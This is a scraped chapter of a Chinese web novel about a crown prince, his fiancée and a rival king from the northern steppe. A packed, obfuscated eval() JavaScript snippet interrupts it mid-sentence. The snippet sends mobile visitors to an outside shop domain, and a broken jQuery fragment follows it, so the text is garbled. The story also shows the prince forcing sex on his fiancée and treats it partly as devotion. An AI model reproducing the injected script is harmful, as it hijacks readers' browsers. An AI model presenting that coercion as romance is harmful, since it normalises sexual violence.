月出云并不觉得痛。一方面是因为铺着地毯,另一方面则是风神佑用右手护住了她的后脑勺。
月出云看着近在眼前的这张面孔,双眼迷蒙,好像醉了,可他的动作显示出他似乎又没有醉,月出云也分不清楚。
“出云,我不是长宁,”风神佑喃喃道:“但我和她一样在乎你。”
“好,你不是她,你先起来,行不行?”月出云哄道:“你压到我了。”
“不行,你会离开我的,我不让你走。”风神佑说着,右手移到月出云腰间,轻柔摩挲。
月出云背脊发紧,汗毛直竖,作为情侣,并且即将结婚成家,她与风神佑也曾有过亲吻,以及近乎忘情的相拥搂抱,可从来没有像这一次一样,他的眼神,还有他的动作,让月出云感受到了某种未知的危险,出于本能,身体比大脑先一步戒备起来。
“风神佑,你想干什么?”
“我想要你。”
风神佑解下月出云的腰带,丢在一边,“出云,我说过,我绝不让你离开我。”
月出云骇然,“风神佑,你疯了。”
“我很清醒,”风神佑认真说道:“你要叫或反抗都可以,但你知道的,没有人会来。”
简直无赖!
月出云脸蛋涨得通红,大声吼道:“你要是敢对我做什么,我决饶不了你。”
风神佑低笑,“你看,你总是把我当做长宁,在你眼里,她是女子,一个女人对另一个女人而言,总是没有危险的。”
风神佑温热的气息吹拂在她的耳朵根,特别的痒。
“出云,你知不知道你的长宁,想要对你做什么?”
风神佑的声音很轻,每个字每句话都落在月出云耳中,她的脸越来越红,神情也变得越发愤恨。
“风神佑,你不要说了,长宁不是你说的那个样子。”
“出云,你说我在拒绝长宁,”风神佑道:“你又何尝不在拒绝她呢,你真的了解她吗?”
月出云一时失神,风神佑说她不了解长宁,她想要反驳,她怎么可能不了解长宁,她与长宁一起长大,相处十余年,亲密无间,他们一同读书学习,行往坐卧俱在一处,她怎么可能不了解长宁呢?
可连长宁最基本的性别都没弄清楚,她真的了解长宁吗?月出云又忍不住怀疑,从一开始,长宁的存在就建立在一个颠倒的性别之上,她的存在真的只是一个幻影吗?
浑然不觉间,她与风神佑已然赤裎相对。
最终那一刻到来的时候,即使疼痛从身体很清晰的传来,月出云依旧有种不真实的感觉。
“若若,”风神佑唤着她的小名,像长宁无数次那样叫唤,情意绵绵。
看着这张近在咫尺的脸,月出云心神恍惚,他到底是长宁,还是风神佑?
如果他是长宁,她和长宁之间怎么会发生这样荒唐的事,那个在危难之中拯救了她,一起陪伴她长大的好友,会这样强迫她吗?
也许他根本就不是长宁,就像风神佑所说的,长宁早就不在了,在她面前的只有风神佑,只是她一直不肯承认。
月出云闭上双目,不再看这张近在咫尺的面孔,眼角一滴泪水,缓缓滑落。
中都城外,萧廷渊等了一个时辰,月出云仍然没有来。
他的神情变得焦躁不安,一直望着中都城的方向,终于看到去接月出云的使者回来了。
他没有带回月出云,只是带来了一封口信。
“大王,太子殿下让属下转告大王,他说大王要的人不会来了。”
“启国的皇帝陛下呢,他是如何说的?”萧廷渊问道。
使者回答,“我没见到皇帝陛下,他没有接见我。”
一直沉默的勒托,此时开口,“看来他们父子反悔了。”
勒托有些惊奇,萧廷渊可是用了碎叶城来交换月出云的,一座城池和一个女人统治者眼里孰轻孰重,那是不言而喻的,也不知道风神佑用了什么方法,居然可以说动皇帝改变主意。
“大王,风神佑对月姑娘情深意重,难以割舍,发生了这样的事情都毫不介怀,他们两人真心相爱,风神佑身为太子,肯定有办法保护月姑娘,大王,你无需担心月姑娘的安危。”
勒托当然知道萧廷渊对月出云的感情,但落花有意,流水无情,他家大王是单相思,注定是没有结果的。
“大王,反正月姑娘也不会来了,”勒托道:“我们还是启程回漠北吧,将士们等了很久。”
萧廷渊看了一眼勒托,一言不发,朝着城门口走去。
勒托连忙跟着,“大王,你要干什么?”
“没有确认她的安危之前,不会走的。”萧廷渊道。
“大王,风神佑不是信了吗?月姑娘不会有事的。”勒托苦苦劝道:“我们还是回漠北吧,朝中事情很多,离开得太久,只怕会生出事端。”
萧廷渊不理,径直走向城门口,却被守卫的将士拦住。
守卫说是接到命令,中都城正在抓捕罪犯,已经出城的外国使臣不得再进入城内。
勒托听闻,竭力保持住脸上的神情,不要表露出欢快。
“大王,你也看到了,人家要抓捕犯人,我们还是回漠北吧。”
勒托只有一个目的,就是让他家大王尽快回国。
“不能够进城,那我们就在这里安营扎寨,”萧廷渊淡淡说道:“犯人若是不小心逃到这里,我还能帮他抓捕呢。”
“……”
月出云醒来时,室内空无一人,
窗外射进来的太阳,将整个寝殿照耀得明亮庄严。
这不是她平日住的房间,月出云猛然跳起,手忙脚乱地把衣服穿上,推开门就往外走。
守在殿外的泠雪错愕,“月姑娘,你要去哪儿?”
“去我该去的地方。”月出云头也不回地答道。
冷雪很快跟上她,她不知道月出云要去哪里,但她知道那是徒劳无益的,“月姑娘,你快回去,殿下吩咐不让你乱走
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571521|204252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
月出云置若罔闻。
泠雪叹气,她当然知道昨天晚上发生了什么事,对于这位月姑娘的事也是如此。
她是太子的未婚妻,本来是在娘家待嫁,那一天却衣裳不整的出现在东宫,已经够惊讶的,她隐隐约约也听到一些传闻,在宫中生活的人不是真的聋了哑了,相反,消息灵通。
只是,若听来的传闻是真的,为何月姑娘却可以安然无恙地住在东宫?并且太子殿下对她依旧喜爱。
泠雪十分好奇,只是作为一个宫女,她有她身为宫女的职业素养,并不去多想多问,她们可以聪明机灵,也可以装聋作哑。
果然还没出承德殿的大门,月出云便被拦了下来,恭恭敬敬送回殿内。
又回到这间房里,月出云一屁股坐在地毯上,双腿盘着,右手托着下巴,将以往所学的礼仪规矩全忘得一干二净。
泠雪以为她受到了刺激,小心翼翼说道:“月姑娘,殿下不是始乱终弃的人。”
不论这位月姑娘身上究竟发生了什么事,泠雪看得出,太子殿下舍不得她。
月出云的头微微一偏,“泠雪,你知道风神去了什么地方?”
“殿下清早就入宫了。”
风神佑,你到底想要做什么?月出云望着窗外发愣,她并不认为两人发生了关系,陛下就会改变主意,让她留在中都,留在启国,她还没有这么天真。
风神佑,你为什么要做这样的事情呢,为什么要这样对待她呢?
“你这个孽子,怎么能做出这样轻薄无耻的事?”风无忧指着风神佑的鼻子骂道:“不守礼法,畜生不如。”
“难道将自己的未婚妻拱手让人,那就是守礼法,有道德?”风神佑道:“她本来就是我未来的妻子,我和她发生任何事情都是天经地义。”
“还在狡辩!”风无忧道:“事情已经定下,她不能留在中都城,不能留在启国,她和萧廷渊一起离开,去往漠北,对你,对她都是最好的安排。”
“如果月出云此刻肚子里已经有你的孙子,”风神佑道:“你连自己的后嗣也不在乎了吗?”
风无忧气得指尖颤抖,即使当年面对陆沉月的咄咄逼人,他都能够沉得住气,现在却被自己唯一的儿子气得话都差点说不利索了。
他要被自己儿子的无耻给气笑了,做出这么不要脸的事情,还敢大言不惭。
风无忧努力平息胸中怒火,尽量以平静的语气说道:“风神佑,你是启国太子,应当以大局为重,以国家的利益为重。月出云与萧廷渊,孤男寡女,衣裳不整的发现在同一个房间,她就不能再做你的妻子,萧廷渊愿意用碎叶城交换月出云,我才会留下她的性命,风神佑,你不要得寸进尺。”
风神佑目光迥然,望着自己的父亲,“你说这一切都是为了大局,那么如果发生这一切的事情是我娘,你也会这么做吗?”
这些话语如同最锋利的刀刃,毫不留情地刺向风无忧,让他的脸色瞬间变得惨白。